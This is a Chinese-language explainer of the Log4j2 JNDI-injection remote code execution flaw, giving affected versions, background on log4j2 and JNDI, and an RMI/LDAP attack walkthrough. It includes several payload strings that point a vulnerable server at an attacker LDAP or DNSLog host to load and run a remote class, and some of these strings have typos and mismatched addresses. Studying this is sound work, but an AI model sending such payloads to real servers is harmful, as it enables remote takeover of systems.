Apache Log4j 远程代码执行漏洞
1.漏洞危害
Apache Log4j被发现存在一处任意代码执行漏洞,由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。经验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等众多组件与大型应用均受影响
2.影响版本
Apache Log4j2.x <= 2.14.1
3.漏洞描述
Apache Log4j 是 Apache 的一个开源项目,通过定义每一条日志信息的级别,能够更加细致地控制日志生成过程。经过分析,Log4j-2中存在JNDI注入漏洞,攻击者可以通过构造特殊的请求进行任意代码执行,以达到控制服务器的目的。
log4j2是什么
log4j2是Apache软件基金会开发的一个Java日志框架,它是log4j的升级版。它能够以高度灵活和可配置的方式,记录日志信息并支持多种日志级别、输出格式和目的地(例如控制台、文件、数据库等)。与log4j相比,log4j2具有更快的日志处理速度和更低的资源消耗。它采用异步日志记录方式,可以将日志操作缓存起来,减少日志记录对系统的影响,同时也支持日志流水线处理、自定义插件等特性,适用于各种Java应用程序的日志记录需求。
JNDI是什么
JNDI代表Java命名和目录接口。它是一种用于在Java应用程序中访问各种命名和目录服务的Java API。 JNDI 是一种标准化的服务提供者接口,可用于从 Java 应用程序中查询和访问命名和目录服务,例如 DNS,LDAP,NIS 或 COSNaming 服务。它允许开发人员编写可移植的代码来连接并访问各种命名和目录服务。JNDI 还支持利用 Java RMI 和 IIOP 等协议创建分布式应用程序。
具体产生原理
log4j2提供的lookup功能:日志中包含 ${},lookup功能就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身。log4j 2将基本的解析都做了实现。
常见解析
${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s}
${log4j}
${main}
${name}
${marker}
${spring}
${sys:logPath}
${web:rootDir}
log4j 2中JNDI解析未作限制,可以直接访问到远程对象,也就是当记录日志的一部分是用户可控时,就可以构造恶意字符串使服务器记录日志时调用JNDI访问恶意对象,也就是流传出的payload构成:${jndi:ldap:xxx.xxx.xxx.xxx:xxxx/exp}
假设用户名是从外部获取的用户输入,此时构建一个恶意用户名${jndi:ladp://z2xcu7.dnslog.cn/exp},然后触发日志记录(可以借助DNSLog生成临时域名用于查看测试是否生效)。
攻击流程(大佬文章:一文读懂面试官都在问的Log4J2漏洞(漏洞实战复现))
log4j2 远程代码执行漏洞大致过程(此处使用RMI,LDAP同理):假设有一个Java程序,将用户名信息到了日志中,如下
**a.**攻击者发送一个HTTP请求,其用户名为${jndi://rmi服务器地址/Exploit}
**b.**被攻击服务器发现要输出的信息中有${}
,则其中的内容要单独处理,进一步解析是JNDI扩展内容且使用的是RMI,而后根据RMI服务器地址去请求Exploit。
**c.**RMI服务器返回Reference对象(用于告诉请求端所请求对象所在的类),而该Reference指定了远端 文件下载服务器上含有恶意代码的class文件。
**d.**被攻击服务器通过Reference对象去请求文件下载服务器上的class文件。
**e.**被攻击服务器下载恶意class文件并执行其中的恶意代码
LDAP
当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中
**a.**假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp}
**b.**被攻击服务器发现要输出的信息中有${}
,log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/exp
**c.**解析到ldap,就会去192.168.61.129:1099
的ldap服务找名为exp的资源,如果找不到就会去http服务中找在http中找到exp之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现exp是一个.class文件,就会去执行里面的代码,从而实现注入攻击者就可以通过shell实现任意的命令执行,造成严重危害